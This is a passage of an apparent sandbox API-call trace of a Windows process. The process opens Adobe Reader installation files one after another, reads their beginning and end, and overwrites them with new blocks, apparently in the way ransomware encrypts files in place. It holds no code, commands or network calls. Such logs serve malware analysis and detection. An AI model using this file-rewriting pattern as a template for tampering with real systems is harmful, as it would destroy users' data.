cchWideChar=11, lpMultiByteStr=0x1e6322c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.SKY", lpUsedDefaultChar=0x0) returned 11 [0035.196] ReadFile (in: hFile=0x168, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x2f4f2bc*=0x1e00, lpOverlapped=0x0) returned 1 [0035.200] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0035.200] WriteFile (in: hFile=0x168, lpBuffer=0x1de4de8*, nNumberOfBytesToWrite=0x2388, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de4de8*, lpNumberOfBytesWritten=0x2f4f2d0*=0x2388, lpOverlapped=0x0) returned 1 [0035.201] CloseHandle (hObject=0x168) returned 1 [0035.202] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cat\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0035.203] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0035.203] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0xd11a [0035.203] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0035.204] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.204] ReleaseMutex (hMutex=0x128) returned 1 [0035.204] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.204] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x1e631ec, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0035.204] ReadFile (in: hFile=0x168, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2f4f278*=0x4000, lpOverlapped=0x0) returned 1 [0035.206] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0xc11a [0035.206] ReadFile (in: hFile=0x168, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.207] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0xc11a [0035.207] WriteFile (in: hFile=0x168, lpBuffer=0x2770488*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2770488*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.207] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0035.207] WriteFile (in: hFile=0x168, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x2f4f28c*=0x4000, lpOverlapped=0x0) returned 1 [0035.207] CloseHandle (hObject=0x168) returned 1 [0035.208] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\deu\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0035.209] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0035.209] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0xc750 [0035.209] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0035.209] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.209] ReleaseMutex (hMutex=0x128) returned 1 [0035.209] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.209] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x1e6312c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0035.209] ReadFile (in: hFile=0x168, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2f4f278*=0x4000, lpOverlapped=0x0) returned 1 [0035.211] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0xb750 [0035.211] ReadFile (in: hFile=0x168, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.213] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0xb750 [0035.213] WriteFile (in: hFile=0x168, lpBuffer=0x1de6f18*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de6f18*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.213] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0035.214] WriteFile (in: hFile=0x168, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x2f4f28c*=0x4000, lpOverlapped=0x0) returned 1 [0035.214] CloseHandle (hObject=0x168) returned 1 [0035.215] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hrv\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0035.215] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0035.215] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0xc490 [0035.216] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0035.216] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.216] ReleaseMutex (hMutex=0x128) returned 1 [0035.216] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.216] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x1e631ec, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0035.216] ReadFile (in: hFile=0x168, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2f4f278*=0x4000, lpOverlapped=0x0) returned 1 [0035.222] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0xb490 [0035.222] ReadFile (in: hFile=0x168, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.222] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0xb490 [0035.223] WriteFile (in: hFile=0x168, lpBuffer=0x2772488*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772488*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.223] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0035.223] WriteFile (in: hFile=0x168, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x2f4f28c*=0x4000, lpOverlapped=0x0) returned 1 [0035.223] CloseHandle (hObject=0x168) returned 1 [0035.224] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nld\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0035.224] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0035.224] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0xc288 [0035.224] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0035.225] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.225] ReleaseMutex (hMutex=0x128) returned 1 [0035.225] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.225] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x1e630cc, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0035.225] ReadFile (in: hFile=0x168, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2f4f278*=0x4000, lpOverlapped=0x0) returned 1 [0035.230] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0xb288 [0035.230] ReadFile (in: hFile=0x168, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.234] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0xb288 [0035.234] WriteFile (in: hFile=0x168, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.234] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0035.234] WriteFile (in: hFile=0x168, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x2f4f28c*=0x4000, lpOverlapped=0x0) returned 1 [0035.235] CloseHandle (hObject=0x168) returned 1 [0035.236] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rus\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0035.236] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0035.236] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x3ece3 [0035.236] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0035.236] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.236] ReleaseMutex (hMutex=0x128) returned 1 [0035.236] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.236] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x1e6322c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0035.236] ReadFile (in: hFile=0x168, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2f4f278*=0x8000, lpOverlapped=0x0) returned 1 [0035.243] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x3dce3 [0035.243] ReadFile (in: hFile=0x168, lpBuffer=0x2772358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2772358*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.248] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x3dce3 [0035.248] WriteFile (in: hFile=0x168, lpBuffer=0x1de6f18*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de6f18*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.249] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0035.249] WriteFile (in: hFile=0x168, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2f4f28c*=0x8000, lpOverlapped=0x0) returned 1 [0035.249] CloseHandle (hObject=0x168) returned 1 [0035.556] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\tur\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0035.556] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0035.556] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0xfa69 [0035.556] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0035.556] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.556] ReleaseMutex (hMutex=0x128) returned 1 [0035.557] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.557] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x1e6320c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0035.557] ReadFile (in: hFile=0x168, lpBuffer=0x1decc48, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1decc48*, lpNumberOfBytesRead=0x2f4f278*=0x4000, lpOverlapped=0x0) returned 1 [0035.558] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0xea69 [0035.559] ReadFile (in: hFile=0x168, lpBuffer=0x2772358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2772358*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.560] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0xea69 [0035.560] WriteFile (in: hFile=0x168, lpBuffer=0x1da5ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da5ed8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.560] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0035.560] WriteFile (in: hFile=0x168, lpBuffer=0x1decc48*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1decc48*, lpNumberOfBytesWritten=0x2f4f28c*=0x4000, lpOverlapped=0x0) returned 1 [0035.561] CloseHandle (hObject=0x168) returned 1 [0035.562] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\DVA.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\dva.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0035.562] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0035.562] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x4c00 [0035.562] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0035.562] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.562] ReleaseMutex (hMutex=0x128) returned 1 [0035.563] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.CAT", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0035.563] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.CAT", cchWideChar=7, lpMultiByteStr=0x1e6a9fc, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.CAT", lpUsedDefaultChar=0x0) returned 7 [0035.563] ReadFile (in: hFile=0x168, lpBuffer=0x1da5ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1da5ed8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.564] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x3c00 [0035.564] ReadFile (in: hFile=0x168, lpBuffer=0x1da5ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1da5ed8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.565] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x3c00 [0035.565] WriteFile (in: hFile=0x168, lpBuffer=0x1da5ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da5ed8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.565] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0035.566] WriteFile (in: hFile=0x168, lpBuffer=0x1da5ed8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da5ed8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0035.566] CloseHandle (hObject=0x168) returned 1 [0035.567] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\reflow.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\reflow.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0035.567] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0035.568] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x1200 [0035.568] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0035.568] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.568] ReleaseMutex (hMutex=0x128) returned 1 [0035.568] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.CAT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0035.568] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.CAT", cchWideChar=10, lpMultiByteStr=0x1e6312c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.CAT", lpUsedDefaultChar=0x0) returned 10 [0035.568] ReadFile (in: 